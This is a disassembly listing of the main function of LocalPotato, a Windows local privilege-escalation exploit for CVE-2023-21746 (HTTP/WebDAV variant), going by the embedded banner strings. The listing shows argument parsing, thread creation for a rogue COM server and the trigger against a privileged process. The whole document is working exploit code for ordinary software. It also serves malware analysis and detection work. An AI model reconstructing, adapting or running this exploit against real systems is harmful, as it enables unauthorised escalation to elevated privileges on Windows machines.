Function at 0x14001102d
Capabilities:
Create thread
Terminate process

Disassembly:
jmp 0x1400161a0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x210
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x238]
mov rax, qword [0x14002d018]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x1400333ba]
call fcn.14001166d
lea rcx, str._n_n_t_LocalPotato__aka_CVE_2023_21746__HTTP_WebDAV___n
call fcn.1400112e9
lea rcx, str._t_by_splinter_code__decoder_it_n_n
call fcn.1400112e9
lea rax, [rbp + 0x10]
lea rcx, str.854A20FB_2D44_457D_992F_EF13785D2B51
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4e
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x78]
lea rcx, str.10247
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x10]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x78]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0x104], 1
cmp dword [rbp + 0x200], 1
jle 0x1400164d9
movsxd rax, dword [rbp + 0x104]
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x208]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
cmp eax, 0x2d
jne 0x1400164d9
movsxd rax, dword [rbp + 0x104]
mov ecx, 2
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x208]
mov rax, qword [rdx + rax*8]
movzx eax, word [rax + rcx]
mov dword [rbp + 0x1d4], eax
mov eax, dword [rbp + 0x1d4]
sub eax, 0x63
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0x12
ja case.0x1400162e3.1
movsxd rax, dword [rbp + 0x1d4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x1661c]
add rax, rcx
jmp rax
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0xa8], rax
jmp 0x1400164b8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0xc8], rax
jmp 0x1400164b8
call fcn.140011663
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
movzx eax, word [rax]
cmp eax, 0x5c
jne 0x1400163c4
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
add rax, 2
movsxd rcx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0x208]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002d568], rax
jmp 0x1400164b8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002d570], rax
jmp 0x1400164b8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002d580], rax
jmp 0x1400164b8
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rax, qword [rcx + rax*8]
mov qword [0x14002d578], rax
jmp 0x1400164b8
movsxd rax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x208]
mov rdx, qword [rcx + rax*8]
lea rcx, str.Wrong_Argument:__S_n
call fcn.1400112e9
call fcn.140011663
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x200]
dec eax
mov dword [rbp + 0x200], eax
jmp 0x140016255
cmp qword [0x14002d568], 0
jne 0x1400164fc
cmp qword [0x14002d578], 0
jne 0x1400164fc
call fcn.140011663
mov eax, 1
jmp 0x1400165ec
cmp qword [0x14002d568], 0
je 0x14001651f
cmp qword [0x14002d570], 0
jne 0x14001651f
call fcn.140011663
mov eax, 1
jmp 0x1400165ec
cmp qword [0x14002d578], 0
je 0x140016542
cmp qword [0x14002d580], 0
jne 0x140016542
call fcn.140011663
mov eax, 1
jmp 0x1400165ec
cmp qword [0x14002d568], 0
je 0x14001657a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011645]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
jmp 0x1400165a6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001131b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
call fcn.140011604
mov r8, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.140011523
mov edx, 0xbb8
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1400165ea
lea rcx, str.____The_privileged_process_failed_to_communicate_with_our_COM_Server_:_
call fcn.1400112e9
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140025f50]
call fcn.140011582
mov rax, rdi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.140011307
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret